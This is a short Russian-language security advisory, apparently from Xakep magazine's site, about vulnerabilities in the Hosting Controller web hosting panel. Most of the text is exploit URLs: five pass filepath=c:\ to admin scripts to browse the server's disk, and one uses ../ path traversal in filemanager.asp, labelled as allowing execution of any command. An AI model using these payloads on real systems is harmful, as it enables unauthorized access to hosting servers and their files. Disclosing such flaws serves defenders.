Ошибки в Hosting Controller

Рекомендуем почитать:

Xakep #305. Многошаговые SQL-инъекции

• Содержание выпуска
• Подписка на «Хакер»-60%

Hosting Controller - универсальный инструмент для
работы с многими сайтами.

Просмотр:

http://www.example.com/advwebadmin/ stats/statsbrowse.asp?filepath=c:\&Opt=3
http://www.example.com/advwebadmin/ serv_u/servubrowse.asp?filepath=c:\&Opt=3
http://www.example.com/advwebadmin/ adminsettings/browsedisk.asp?filepath=c:\&Opt=3
http://www.example.com/advwebadmin/ adminsettings/browsewebalizerexe.asp?filepath=c:\&Opt=3
http://www.example.com/advwebadmin/ SQLServ/sqlbrowse.asp?filepath=c:\&Opt=3

Исполнение любых команд:

http://www.example.com/advwebadmin/folders/filemanager.asp&siteindex=testing&
sitename=testing.com&OpenPath=C:\webspace\resadmin\testing\testing.com\www\..\..\..\..\..\